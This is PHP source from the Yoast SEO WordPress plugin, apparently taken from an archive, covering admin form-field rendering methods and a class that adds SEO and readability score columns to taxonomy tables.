			$this->label( $label, [ 'for' => $variable ] );
		}

		echo '<br class="clear" />';
	}

	/**
	 * Creates a Checkbox input field list.
	 *
	 * @since 12.8
	 *
	 * @param string $variable The variables within the option to create the checkbox list for.
	 * @param string $labels   The labels to show for the variable.
	 * @param array  $attr     Extra attributes to add to the checkbox list.
	 *
	 * @return void
	 */
	public function checkbox_list( $variable, $labels, $attr = [] ) {
		$defaults = [
			'disabled' => false,
		];
		$attr     = wp_parse_args( $attr, $defaults );

		$values = $this->get_field_value( $variable, [] );

		foreach ( $labels as $name => $label ) {
			printf(
				'<input class="checkbox double" id="%1$s" type="checkbox" name="%2$s" %3$s %5$s value="%4$s"/>',
				esc_attr( $variable . '-' . $name ),
				esc_attr( $this->option_name . '[' . $variable . '][' . $name . ']' ),
				checked( ! empty( $values[ $name ] ), true, false ),
				esc_attr( $name ),
				disabled( ( isset( $attr['disabled'] ) && $attr['disabled'] ), true, false )
			);

			printf(
				'<label class="checkbox" for="%1$s">%2$s</label>',
				esc_attr( $variable . '-' . $name ), // #1
				esc_html( $label )
			);
			echo '<br class="clear">';
		}
	}

	/**
	 * Create a light switch input field using a single checkbox.
	 *
	 * @since 3.1
	 *
	 * @param string $variable The variable within the option to create the checkbox for.
	 * @param string $label    The visual label text for the toggle.
	 * @param array  $buttons  Array of two visual labels for the buttons (defaults Disabled/Enabled).
	 * @param bool   $reverse  Reverse order of buttons (default true).
	 * @param string $help     Inline Help that will be printed out before the toggle.
	 * @param bool   $strong   Whether the visual label is displayed in strong text. Default is false.
	 *                         Starting from Yoast SEO 16.5, the visual label is forced to bold via CSS.
	 * @param array  $attr     Extra attributes to add to the light switch.
	 *
	 * @return void
	 */
	public function light_switch( $variable, $label, $buttons = [], $reverse = true, $help = '', $strong = false, $attr = [] ) {
		$val = $this->get_field_value( $variable, false );

		$defaults = [
			'disabled' => false,
		];
		$attr     = wp_parse_args( $attr, $defaults );

		if ( $val === true ) {
			$val = 'on';
		}

		$disabled_attribute = $this->get_disabled_attribute( $variable, $attr );

		$output = new Light_Switch_Presenter(
			$variable,
			$label,
			$buttons,
			$this->option_name . '[' . $variable . ']',
			$val,
			$reverse,
			$help,
			$strong,
			$disabled_attribute
		);

		// phpcs:ignore WordPress.Security.EscapeOutput -- Reason: All output is properly escaped or hardcoded in the presenter.
		echo $output;
	}

	/**
	 * Create a Text input field.
	 *
	 * @since 2.0
	 * @since 2.1 Introduced the `$attr` parameter.
	 *
	 * @param string       $variable The variable within the option to create the text input field for.
	 * @param string       $label    The label to show for the variable.
	 * @param array|string $attr     Extra attributes to add to the input field. Can be class, disabled, autocomplete.
	 *
	 * @return void
	 */
	public function textinput( $variable, $label, $attr = [] ) {
		$type = 'text';
		if ( ! is_array( $attr ) ) {
			$attr = [
				'class'    => $attr,
				'disabled' => false,
			];
		}

		$defaults = [
			'placeholder' => '',
			'class'       => '',
		];
		$attr     = wp_parse_args( $attr, $defaults );
		$val      = $this->get_field_value( $variable, '' );
		if ( isset( $attr['type'] ) && $attr['type'] === 'url' ) {
			$val  = urldecode( $val );
			$type = 'url';
		}
		$attributes = isset( $attr['autocomplete'] ) ? ' autocomplete="' . esc_attr( $attr['autocomplete'] ) . '"' : '';

		$this->label(
			$label,
			[
				'for'   => $variable,
				'class' => 'textinput',
			]
		);

		$aria_attributes = Yoast_Input_Validation::get_the_aria_invalid_attribute( $variable );

		$aria_attributes .= Yoast_Input_Validation::get_the_aria_describedby_attribute( $variable );

		$disabled_attribute = $this->get_disabled_attribute( $variable, $attr );

		// phpcs:ignore WordPress.Security.EscapeOutput -- Reason: $disabled_attribute output is hardcoded and all other output is properly escaped.
		echo '<input', $attributes, $aria_attributes, ' class="', esc_attr( 'textinput ' . $attr['class'] ), '" placeholder="', esc_attr( $attr['placeholder'] ), '" type="', $type, '" id="', esc_attr( $variable ), '" name="', esc_attr( $this->option_name . '[' . $variable . ']' ), '" value="', esc_attr( $val ), '"', $disabled_attribute, '/>', '<br class="clear" />';
		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output escaped in getter.
		echo Yoast_Input_Validation::get_the_error_description( $variable );
	}

	/**
	 * Create a Number input field.
	 *
	 * @param string       $variable The variable within the option to create the text input field for.
	 * @param string       $label    The label to show for the variable.
	 * @param array|string $attr     Extra attributes to add to the input field. Can be class, disabled, autocomplete.
	 *
	 * @return void
	 */
	public function number( $variable, $label, $attr = [] ) {
		$type     = 'number';
		$defaults = [
			'placeholder' => '',
			'class'       => 'number',
			'disabled'    => false,
			'min'         => 0,
			'max'         => 100,
		];
		$attr     = wp_parse_args( $attr, $defaults );
		$val      = $this->get_field_value( $variable, 0 );

		$this->label(
			$label,
			[
				'for'   => $variable,
				'class' => 'textinput ' . $attr['class'],
			]
		);

		$aria_attributes  = Yoast_Input_Validation::get_the_aria_invalid_attribute( $variable );
		$aria_attributes .= Yoast_Input_Validation::get_the_aria_describedby_attribute( $variable );

		$disabled_attribute = $this->get_disabled_attribute( $variable, $attr );

		// phpcs:ignore WordPress.Security.EscapeOutput -- Reason: $disabled_attribute output is hardcoded and all other output is properly escaped.
		echo '<input' . $aria_attributes . ' class="' . esc_attr( $attr['class'] ) . '" type="' . $type . '" id="', esc_attr( $variable ), '" min="', esc_attr( $attr['min'] ), '" max="', esc_attr( $attr['max'] ), '" name="', esc_attr( $this->option_name . '[' . $variable . ']' ), '" value="', esc_attr( $val ), '"', $disabled_attribute, '/>', '<br class="clear" />';
		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output escaped in getter.
		echo Yoast_Input_Validation::get_the_error_description( $variable );
	}

	/**
	 * Creates a text input field with with the ability to add content after the label.
	 *
	 * @param string $variable The variable within the option to create the text input field for.
	 * @param string $label    The label to show for the variable.
	 * @param array  $attr     Extra attributes to add to the input field.
	 *
	 * @return void
	 */
	public function textinput_extra_content( $variable, $label, $attr = [] ) {
		$type = 'text';

		$defaults = [
			'class'       => 'yoast-field-group__inputfield',
			'disabled'    => false,
		];

		$attr = wp_parse_args( $attr, $defaults );
		$val  = $this->get_field_value( $variable, '' );

		if ( isset( $attr['type'] ) && $attr['type'] === 'url' ) {
			$val  = urldecode( $val );
			$type = 'url';
		}

		echo '<div class="yoast-field-group__title">';
		$this->label(
			$label,
			[
				'for'   => $variable,
				'class' => $attr['class'] . '--label',
			]
		);

		if ( isset( $attr['extra_content'] ) ) {
			// phpcs:ignore WordPress.Security.EscapeOutput -- Reason: may contain HTML that should not be escaped.
			echo $attr['extra_content'];
		}
		echo '</div>';

		$aria_attributes  = Yoast_Input_Validation::get_the_aria_invalid_attribute( $variable );
		$aria_attributes .= Yoast_Input_Validation::get_the_aria_describedby_attribute( $variable );

		// phpcs:disable WordPress.Security.EscapeOutput -- Reason: output is properly escaped or hardcoded.
		printf(
			'<input type="%1$s" name="%2$s" id="%3$s" class="%4$s"%5$s%6$s%7$s value="%8$s"%9$s>',
			$type,
			esc_attr( $this->option_name . '[' . $variable . ']' ),
			esc_attr( $variable ),
			esc_attr( $attr['class'] ),
			isset( $attr['placeholder'] ) ? ' placeholder="' . esc_attr( $attr['placeholder'] ) . '"' : '',
			isset( $attr['autocomplete'] ) ? ' autocomplete="' . esc_attr( $attr['autocomplete'] ) . '"' : '',
			$aria_attributes,
			esc_attr( $val ),
			$this->get_disabled_attribute( $variable, $attr )
		);
		// phpcs:enable
		// phpcs:ignore WordPress.Security.EscapeOutput -- Reason: output is properly escaped.
		echo Yoast_Input_Validation::get_the_error_description( $variable );
	}

	/**
	 * Create a textarea.
	 *
	 * @since 2.0
	 *
	 * @param string       $variable The variable within the option to create the textarea for.
	 * @param string       $label    The label to show for the variable.
	 * @param string|array $attr     The CSS class or an array of attributes to assign to the textarea.
	 *
	 * @return void
	 */
	public function textarea( $variable, $label, $attr = [] ) {
		if ( ! is_array( $attr ) ) {
			$attr = [
				'class' => $attr,
			];
		}

		$defaults = [
			'cols'     => '',
			'rows'     => '',
			'class'    => '',
			'disabled' => false,
		];
		$attr     = wp_parse_args( $attr, $defaults );
		$val      = $this->get_field_value( $variable, '' );

		$this->label(
			$label,
			[
				'for'   => $variable,
				'class' => 'textinput',
			]
		);

		$disabled_attribute = $this->get_disabled_attribute( $variable, $attr );

		// phpcs:ignore WordPress.Security.EscapeOutput -- Reason: $disabled_attribute output is hardcoded and all other output is properly escaped.
		echo '<textarea cols="' . esc_attr( $attr['cols'] ) . '" rows="' . esc_attr( $attr['rows'] ) . '" class="' . esc_attr( 'textinput ' . $attr['class'] ) . '" id="' . esc_attr( $variable ) . '" name="' . esc_attr( $this->option_name . '[' . $variable . ']' ), '"', $disabled_attribute, '>' . esc_textarea( $val ) . '</textarea><br class="clear" />';
	}

	/**
	 * Create a hidden input field.
	 *
	 * @since 2.0
	 *
	 * @param string $variable The variable within the option to create the hidden input for.
	 * @param string $id       The ID of the element.
	 * @param mixed  $val      Optional. The value to set in the input field. Otherwise the value from the options will be used.
	 *
	 * @return void
	 */
	public function hidden( $variable, $id = '', $val = null ) {
		if ( is_null( $val ) ) {
			$val = $this->get_field_value( $variable, '' );
		}

		if ( is_bool( $val ) ) {
			$val = ( $val === true ) ? 'true' : 'false';
		}

		if ( $id === '' ) {
			$id = 'hidden_' . $variable;
		}

		echo '<input type="hidden" id="' . esc_attr( $id ) . '" name="' . esc_attr( $this->option_name . '[' . $variable . ']' ), '" value="' . esc_attr( $val ) . '"/>';
	}

	/**
	 * Create a Select Box.
	 *
	 * @since 2.0
	 *
	 * @param string $variable       The variable within the option to create the select for.
	 * @param string $label          The label to show for the variable.
	 * @param array  $select_options The select options to choose from.
	 * @param string $styled         The select style. Use 'styled' to get a styled select. Default 'unstyled'.
	 * @param bool   $show_label     Whether or not to show the label, if not, it will be applied as an aria-label.
	 * @param array  $attr           Extra attributes to add to the select.
	 * @param string $help           Optional. Inline Help HTML that will be printed after the label. Default is empty.
	 *
	 * @return void
	 */
	public function select( $variable, $label, array $select_options, $styled = 'unstyled', $show_label = true, $attr = [], $help = '' ) {
		if ( empty( $select_options ) ) {
			return;
		}

		$defaults = [
			'disabled' => false,
		];
		$attr     = wp_parse_args( $attr, $defaults );

		if ( $show_label ) {
			$this->label(
				$label,
				[
					'for'   => $variable,
					'class' => 'select',
				]
			);
			echo $help; // phpcs:ignore WordPress.Security.EscapeOutput -- Reason: The help contains HTML.
		}

		$select_name       = esc_attr( $this->option_name ) . '[' . esc_attr( $variable ) . ']';
		$active_option     = $this->get_field_value( $variable, '' );
		$wrapper_start_tag = '';
		$wrapper_end_tag   = '';

		$select = new Yoast_Input_Select( $variable, $select_name, $select_options, $active_option );
		$select->add_attribute( 'class', 'select' );

		if ( $this->is_control_disabled( $variable )
			|| ( isset( $attr['disabled'] ) && $attr['disabled'] ) ) {
			$select->add_attribute( 'disabled', 'disabled' );
		}

		if ( ! $show_label ) {
			$select->add_attribute( 'aria-label', $label );
		}

		if ( $styled === 'styled' ) {
			$wrapper_start_tag = '<span class="yoast-styled-select">';
			$wrapper_end_tag   = '</span>';
		}

		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- output escaped before.
		echo $wrapper_start_tag;
		$select->output_html();
		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- output escaped before.
		echo $wrapper_end_tag;
		echo '<br class="clear"/>';
	}

	/**
	 * Create a File upload field.
	 *
	 * @since 2.0
	 *
	 * @param string $variable The variable within the option to create the file upload field for.
	 * @param string $label    The label to show for the variable.
	 * @param array  $attr     Extra attributes to add to the file upload input.
	 *
	 * @return void
	 */
	public function file_upload( $variable, $label, $attr = [] ) {
		$val = $this->get_field_value( $variable, '' );
		if ( is_array( $val ) ) {
			$val = $val['url'];
		}

		$defaults = [
			'disabled' => false,
		];
		$attr     = wp_parse_args( $attr, $defaults );

		$var_esc = esc_attr( $variable );
		$this->label(
			$label,
			[
				'for'   => $variable,
				'class' => 'select',
			]
		);

		$disabled_attribute = $this->get_disabled_attribute( $variable, $attr );

		// phpcs:ignore WordPress.Security.EscapeOutput -- Reason: $disabled_attribute output is hardcoded and all other output is properly escaped.
		echo '<input type="file" value="' . esc_attr( $val ) . '" class="textinput" name="' . esc_attr( $this->option_name ) . '[' . $var_esc . ']" id="' . $var_esc . '"', $disabled_attribute, '/>';

		// Need to save separate array items in hidden inputs, because empty file inputs type will be deleted by settings API.
		if ( ! empty( $val ) ) {
			$this->hidden( 'file', $this->option_name . '_file' );
			$this->hidden( 'url', $this->option_name . '_url' );
			$this->hidden( 'type', $this->option_name . '_type' );
		}
		echo '<br class="clear"/>';
	}

	/**
	 * Media input.
	 *
	 * @since 2.0
	 * @deprecated 23.5
	 * @codeCoverageIgnore
	 *
	 * @param string $variable Option name.
	 * @param string $label    Label message.
	 * @param array  $attr     Extra attributes to add to the media input and buttons.
	 *
	 * @return void
	 */
	public function media_input( $variable, $label, $attr = [] ) {

		_deprecated_function( __METHOD__, 'Yoast SEO 23.5' );

		$val      = $this->get_field_value( $variable, '' );
		$id_value = $this->get_field_value( $variable . '_id', '' );

		$var_esc = esc_attr( $variable );

		$defaults = [
			'disabled' => false,
		];
		$attr     = wp_parse_args( $attr, $defaults );

		$this->label(
			$label,
			[
				'for'   => 'wpseo_' . $variable,
				'class' => 'select',
			]
		);

		$id_field_id = 'wpseo_' . $var_esc . '_id';

		echo '<span>';
			echo '<input',
				' class="textinput"',
				' id="wpseo_', $var_esc, '"', // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- output escaped before.
				' type="text" size="36"',
				' name="', esc_attr( $this->option_name ), '[', $var_esc, ']"', // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- output escaped before.
				' value="', esc_attr( $val ), '"',
				' readonly="readonly"',
				' /> ';
			echo '<input',
				' type="hidden"',
				' id="', esc_attr( $id_field_id ), '"',
				// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- output escaped before.
				' name="', esc_attr( $this->option_name ), '[', $var_esc, '_id]"',
				' value="', esc_attr( $id_value ), '"',
				' />';
		echo '</span>';
		echo '<br class="clear"/>';
	}

	/**
	 * Create a Radio input field.
	 *
	 * @since 2.0
	 *
	 * @param string $variable    The variable within the option to create the radio button for.
	 * @param array  $values      The radio options to choose from.
	 * @param string $legend      Optional. The legend to show for the field set, if any.
	 * @param array  $legend_attr Optional. The attributes for the legend, if any.
	 * @param array  $attr        Extra attributes to add to the radio button.
	 *
	 * @return void
	 */
	public function radio( $variable, $values, $legend = '', $legend_attr = [], $attr = [] ) {
		if ( ! is_array( $values ) || $values === [] ) {
			return;
		}
		$val = $this->get_field_value( $variable, false );

		$var_esc = esc_attr( $variable );

		$defaults = [
			'disabled' => false,
		];
		$attr     = wp_parse_args( $attr, $defaults );

		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- output escaped before.
		echo '<fieldset class="yoast-form-fieldset wpseo_radio_block" id="' . $var_esc . '">';

		if ( is_string( $legend ) && $legend !== '' ) {

			$legend_defaults = [
				'id'    => '',
				'class' => 'radiogroup',
			];

			$legend_attr = wp_parse_args( $legend_attr, $legend_defaults );

			$this->legend( $legend, $legend_attr );
		}

		foreach ( $values as $key => $value ) {
			$label      = $value;
			$aria_label = '';

			if ( is_array( $value ) ) {
				$label      = ( $value['label'] ?? '' );
				$aria_label = ( $value['aria_label'] ?? '' );
			}

			$key_esc = esc_attr( $key );

			$disabled_attribute = $this->get_disabled_attribute( $variable, $attr );

			// phpcs:ignore WordPress.Security.EscapeOutput -- Reason: $disabled_attribute output is hardcoded and all other output is properly escaped.
			echo '<input type="radio" class="radio" id="' . $var_esc . '-' . $key_esc . '" name="' . esc_attr( $this->option_name ) . '[' . $var_esc . ']" value="' . $key_esc . '" ' . checked( $val, $key_esc, false ) . $disabled_attribute . ' />';
			$this->label(
				$label,
				[
					'for'        => $var_esc . '-' . $key_esc,
					'class'      => 'radio',
					'aria_label' => $aria_label,
				]
			);
		}
		echo '</fieldset>';
	}

	/**
	 * Create a toggle switch input field using two radio buttons.
	 *
	 * @since 3.1
	 *
	 * @param string $variable The variable within the option to create the radio buttons for.
	 * @param array  $values   Associative array of on/off keys and their values to be used as
	 *                         the label elements text for the radio buttons. Optionally, each
	 *                         value can be an array of visible label text and screen reader text.
	 * @param string $label    The visual label for the radio buttons group, used as the fieldset legend.
	 * @param string $help     Inline Help that will be printed out before the visible toggles text.
	 * @param array  $attr     Extra attributes to add to the toggle switch.
	 *
	 * @return void
	 */
	public function toggle_switch( $variable, $values, $label, $help = '', $attr = [] ) {
		if ( ! is_array( $values ) || $values === [] ) {
			return;
		}

		$defaults = [
			'disabled' => false,
		];
		$attr     = wp_parse_args( $attr, $defaults );

		if ( isset( $attr['preserve_disabled_value'] ) && $attr['preserve_disabled_value'] ) {
			$this->hidden( $variable );
			$variable .= '_disabled';
		}

		$val = $this->get_field_value( $variable, false );
		if ( $val === true ) {
			$val = 'on';
		}
		if ( $val === false ) {
			$val = 'off';
		}

		$help_class = ! empty( $help ) ? ' switch-container__has-help' : '';

		$has_premium_upsell = ( isset( $attr['show_premium_upsell'] ) && $attr['show_premium_upsell'] && isset( $attr['premium_upsell_url'] ) && ! empty( $attr['premium_upsell_url'] ) );
		$upsell_class       = ( $has_premium_upsell ) ? ' premium-upsell' : '';

		$var_esc = esc_attr( $variable );

		printf( '<div class="%s">', esc_attr( 'switch-container' . $help_class . $upsell_class ) );
		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- output escaped before.
		echo '<fieldset id="', $var_esc, '" class="fieldset-switch-toggle"><legend>', $label, '</legend>', $help;

		// Show disabled note if attribute does not exists or does exist and is set to true.
		if ( ! isset( $attr['show_disabled_note'] ) || ( $attr['show_disabled_note'] === true ) ) {
			if ( isset( $attr['note_when_disabled'] ) ) {
				// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- output escaped before.
				echo $this->get_disabled_note( $variable, $attr['note_when_disabled'] );
			}
			else {
				// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- output escaped before.
				echo $this->get_disabled_note( $variable );
			}
		}

		echo '<div class="switch-toggle switch-candy switch-yoast-seo">';

		foreach ( $values as $key => $value ) {
			$screen_reader_text_html = '';

			if ( is_array( $value ) ) {
				$screen_reader_text      = $value['screen_reader_text'];
				$screen_reader_text_html = '<span class="screen-reader-text"> ' . esc_html( $screen_reader_text ) . '</span>';
				$value                   = $value['text'];
			}

			$key_esc            = esc_attr( $key );
			$for                = $var_esc . '-' . $key_esc;
			$disabled_attribute = $this->get_disabled_attribute( $variable, $attr );

			// phpcs:ignore WordPress.Security.EscapeOutput -- Reason: $disabled_attribute output is hardcoded and all other output is properly escaped.
			echo '<input type="radio" id="' . $for . '" name="' . esc_attr( $this->option_name ) . '[' . $var_esc . ']" value="' . $key_esc . '" ' . checked( $val, $key_esc, false ) . $disabled_attribute . ' />',
			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- output escaped before.
			'<label for="', $for, '">', esc_html( $value ), $screen_reader_text_html, '</label>';
		}

		$upsell_button = '';
		if ( $has_premium_upsell ) {
			$upsell_button = '<a class="yoast-button yoast-button--buy yoast-button--small" data-action="load-nfd-ctb" data-ctb-id="f6a84663-465f-4cb5-8ba5-f7a6d72224b2" href='
							. esc_url( $attr['premium_upsell_url'] ) . ' target="_blank">'
							. esc_html__( 'Unlock with Premium!', 'wordpress-seo' )
							/* translators: Hidden accessibility text. */
							. '<span class="screen-reader-text">' . esc_html__( '(Opens in a new browser tab)', 'wordpress-seo' ) . '</span>'
							. '<span aria-hidden="true" class="yoast-button--buy__caret"></span></a>';
		}

		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- All variable output is escaped above.
		echo '<a></a></div></fieldset><div class="clear"></div>' . $upsell_button . '</div>' . PHP_EOL . PHP_EOL;
	}

	/**
	 * Creates a toggle switch to define whether an indexable should be indexed or not.
	 *
	 * @param string $variable The variable within the option to create the radio buttons for.
	 * @param string $label    The visual label for the radio buttons group, used as the fieldset legend.
	 * @param string $help     Inline Help that will be printed out before the visible toggles text.
	 * @param array  $attr     Extra attributes to add to the index switch.
	 *
	 * @return void
	 */
	public function index_switch( $variable, $label, $help = '', $attr = [] ) {
		$defaults = [
			'disabled' => false,
		];
		$attr     = wp_parse_args( $attr, $defaults );

		$index_switch_values = [
			'off' => __( 'On', 'wordpress-seo' ),
			'on'  => __( 'Off', 'wordpress-seo' ),
		];

		$is_disabled = ( isset( $attr['disabled'] ) && $attr['disabled'] );

		$this->toggle_switch(
			$variable,
			$index_switch_values,
			sprintf(
				/* translators: %s expands to an indexable object's name, like a post type or taxonomy */
				esc_html__( 'Show %s in search results?', 'wordpress-seo' ),
				$label
			),
			$help,
			[ 'disabled' => $is_disabled ]
		);
	}

	/**
	 * Creates a toggle switch to show hide certain options.
	 *
	 * @param string $variable     The variable within the option to create the radio buttons for.
	 * @param string $label        The visual label for the radio buttons group, used as the fieldset legend.
	 * @param bool   $inverse_keys Whether or not the option keys need to be inverted to support older functions.
	 * @param string $help         Inline Help that will be printed out before the visible toggles text.
	 * @param array  $attr         Extra attributes to add to the show-hide switch.
	 *
	 * @return void
	 */
	public function show_hide_switch( $variable, $label, $inverse_keys = false, $help = '', $attr = [] ) {
		$defaults = [
			'disabled' => false,
		];
		$attr     = wp_parse_args( $attr, $defaults );

		$on_key  = ( $inverse_keys ) ? 'off' : 'on';
		$off_key = ( $inverse_keys ) ? 'on' : 'off';

		$show_hide_switch = [
			$on_key  => __( 'On', 'wordpress-seo' ),
			$off_key => __( 'Off', 'wordpress-seo' ),
		];

		$is_disabled = ( isset( $attr['disabled'] ) && $attr['disabled'] );

		$this->toggle_switch(
			$variable,
			$show_hide_switch,
			$label,
			$help,
			[ 'disabled' => $is_disabled ]
		);
	}

	/**
	 * Retrieves the value for the form field.
	 *
	 * @param string      $field_name    The field name to retrieve the value for.
	 * @param string|null $default_value The default value, when field has no value.
	 *
	 * @return mixed|null The retrieved value.
	 */
	protected function get_field_value( $field_name, $default_value = null ) {
		// On multisite subsites, the Usage tracking feature should always be set to Off.
		if ( $this->is_tracking_on_subsite( $field_name ) ) {
			return false;
		}

		return WPSEO_Options::get( $field_name, $default_value );
	}

	/**
	 * Checks whether a given control should be disabled.
	 *
	 * @param string $variable The variable within the option to check whether its control should be disabled.
	 *
	 * @return bool True if control should be disabled, false otherwise.
	 */
	protected function is_control_disabled( $variable ) {
		if ( $this->option_instance === null ) {
			return false;
		}

		// Disable the Usage tracking feature for multisite subsites.
		if ( $this->is_tracking_on_subsite( $variable ) ) {
			return true;
		}

		return $this->option_instance->is_disabled( $variable );
	}

	/**
	 * Gets the explanation note to print if a given control is disabled.
	 *
	 * @param string $variable    The variable within the option to print a disabled note for.
	 * @param string $custom_note An optional custom note to print instead.
	 *
	 * @return string Explanation note HTML string, or empty string if no note necessary.
	 */
	protected function get_disabled_note( $variable, $custom_note = '' ) {
		if ( $custom_note === '' && ! $this->is_control_disabled( $variable ) ) {
			return '';
		}
		$disabled_message = esc_html__( 'This feature has been disabled by the network admin.', 'wordpress-seo' );

		// The explanation to show when disabling the Usage tracking feature for multisite subsites.
		if ( $this->is_tracking_on_subsite( $variable ) ) {
			$disabled_message = esc_html__( 'This feature has been disabled since subsites never send tracking data.', 'wordpress-seo' );
		}

		if ( $custom_note ) {
			$disabled_message = esc_html( $custom_note );
		}

		return '<p class="disabled-note">' . $disabled_message . '</p>';
	}

	/**
	 * Determines whether we are dealing with the Usage tracking feature on a multisite subsite.
	 * This feature requires specific behavior for the toggle switch.
	 *
	 * @param string $feature_setting The feature setting.
	 *
	 * @return bool True if we are dealing with the Usage tracking feature on a multisite subsite.
	 */
	protected function is_tracking_on_subsite( $feature_setting ) {
		return ( $feature_setting === 'tracking' && ! is_network_admin() && ! is_main_site() );
	}

	/**
	 * Returns the disabled attribute HTML.
	 *
	 * @param string $variable The variable within the option of the related form element.
	 * @param array  $attr     Extra attributes added to the form element.
	 *
	 * @return string The disabled attribute HTML.
	 */
	protected function get_disabled_attribute( $variable, $attr ) {
		if ( $this->is_control_disabled( $variable ) || ( isset( $attr['disabled'] ) && $attr['disabled'] ) ) {
			return ' disabled';
		}

		return '';
	}
}
wordpress-seo/admin/taxonomy/class-taxonomy-columns.php000064400000016007147510273110017503 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

use Yoast\WP\SEO\Helpers\Score_Icon_Helper;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * This class adds columns to the taxonomy table.
 */
class WPSEO_Taxonomy_Columns {

	/**
	 * The SEO analysis.
	 *
	 * @var WPSEO_Metabox_Analysis_SEO
	 */
	private $analysis_seo;

	/**
	 * The readability analysis.
	 *
	 * @var WPSEO_Metabox_Analysis_Readability
	 */
	private $analysis_readability;

	/**
	 * The current taxonomy.
	 *
	 * @var string
	 */
	private $taxonomy;

	/**
	 * Holds the Indexable_Repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $indexable_repository;

	/**
	 * Holds the Score_Icon_Helper.
	 *
	 * @var Score_Icon_Helper
	 */
	protected $score_icon_helper;

	/**
	 * WPSEO_Taxonomy_Columns constructor.
	 */
	public function __construct() {

		$this->taxonomy = $this->get_taxonomy();

		if ( ! empty( $this->taxonomy ) ) {
			add_filter( 'manage_edit-' . $this->taxonomy . '_columns', [ $this, 'add_columns' ] );
			add_filter( 'manage_' . $this->taxonomy . '_custom_column', [ $this, 'parse_column' ], 10, 3 );
		}

		$this->analysis_seo         = new WPSEO_Metabox_Analysis_SEO();
		$this->analysis_readability = new WPSEO_Metabox_Analysis_Readability();
		$this->indexable_repository = YoastSEO()->classes->get( Indexable_Repository::class );
		$this->score_icon_helper    = YoastSEO()->helpers->score_icon;
	}

	/**
	 * Adds an SEO score column to the terms table, right after the description column.
	 *
	 * @param array $columns Current set columns.
	 *
	 * @return array
	 */
	public function add_columns( array $columns ) {
		if ( $this->display_metabox( $this->taxonomy ) === false ) {
			return $columns;
		}

		$new_columns = [];

		foreach ( $columns as $column_name => $column_value ) {
			$new_columns[ $column_name ] = $column_value;

			if ( $column_name === 'description' && $this->analysis_seo->is_enabled() ) {
				$new_columns['wpseo-score'] = '<span class="yoast-tooltip yoast-tooltip-n yoast-tooltip-alt" data-label="' . esc_attr__( 'SEO score', 'wordpress-seo' ) . '"><span class="yoast-column-seo-score yoast-column-header-has-tooltip"><span class="screen-reader-text">'
											. __( 'SEO score', 'wordpress-seo' ) . '</span></span></span>';
			}

			if ( $column_name === 'description' && $this->analysis_readability->is_enabled() ) {
				$new_columns['wpseo-score-readability'] = '<span class="yoast-tooltip yoast-tooltip-n yoast-tooltip-alt" data-label="' . esc_attr__( 'Readability score', 'wordpress-seo' ) . '"><span class="yoast-column-readability yoast-column-header-has-tooltip"><span class="screen-reader-text">'
														. __( 'Readability score', 'wordpress-seo' ) . '</span></span></span>';
			}
		}

		return $new_columns;
	}

	/**
	 * Parses the column.
	 *
	 * @param string $content     The current content of the column.
	 * @param string $column_name The name of the column.
	 * @param int    $term_id     ID of requested taxonomy.
	 *
	 * @return string
	 */
	public function parse_column( $content, $column_name, $term_id ) {

		switch ( $column_name ) {
			case 'wpseo-score':
				return $this->get_score_value( $term_id );

			case 'wpseo-score-readability':
				return $this->get_score_readability_value( $term_id );
		}

		return $content;
	}

	/**
	 * Retrieves the taxonomy from the $_GET or $_POST variable.
	 *
	 * @return string|null The current taxonomy or null when it is not set.
	 */
	public function get_current_taxonomy() {
		// phpcs:disable WordPress.Security.NonceVerification.Missing,WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( ! empty( $_SERVER['REQUEST_METHOD'] ) && $_SERVER['REQUEST_METHOD'] === 'POST' ) {
			if ( isset( $_POST['taxonomy'] ) && is_string( $_POST['taxonomy'] ) ) {
				return sanitize_text_field( wp_unslash( $_POST['taxonomy'] ) );
			}
		}
		elseif ( isset( $_GET['taxonomy'] ) && is_string( $_GET['taxonomy'] ) ) {
			return sanitize_text_field( wp_unslash( $_GET['taxonomy'] ) );
		}
		// phpcs:enable WordPress.Security.NonceVerification.Missing,WordPress.Security.NonceVerification.Recommended
		return null;
	}

	/**
	 * Returns the posted/get taxonomy value if it is set.
	 *
	 * @return string|null
	 */
	private function get_taxonomy() {
		// phpcs:disable WordPress.Security.NonceVerification.Missing,WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( wp_doing_ajax() ) {
			if ( isset( $_POST['taxonomy'] ) && is_string( $_POST['taxonomy'] ) ) {
				return sanitize_text_field( wp_unslash( $_POST['taxonomy'] ) );
			}
		}
		elseif ( isset( $_GET['taxonomy'] ) && is_string( $_GET['taxonomy'] ) ) {
			return sanitize_text_field( wp_unslash( $_GET['taxonomy'] ) );
		}
		// phpcs:enable WordPress.Security.NonceVerification.Missing,WordPress.Security.NonceVerification.Recommended
		return null;
	}

	/**
	 * Parses the value for the score column.
	 *
	 * @param int $term_id ID of requested term.
	 *
	 * @return string
	 */
	private function get_score_value( $term_id ) {
		$indexable = $this->indexable_repository->find_by_id_and_type( (int) $term_id, 'term' );

		return $this->score_icon_helper->for_seo( $indexable, '', __( 'Term is set to noindex.', 'wordpress-seo' ) );
	}

	/**
	 * Parses the value for the readability score column.
	 *
	 * @param int $term_id ID of the requested term.
	 *
	 * @return string The HTML for the readability score indicator.
	 */
	private function get_score_readability_value( $term_id ) {
		$score = (int) WPSEO_Taxonomy_Meta::get_term_meta( $term_id, $this->taxonomy, 'content_score' );

		return $this->score_icon_helper->for_readability( $score );
	}

	/**
	 * Check if the taxonomy is indexable.
	 *
	 * @param mixed $term The current term.
	 *
	 * @return bool Whether the term is indexable.
	 */
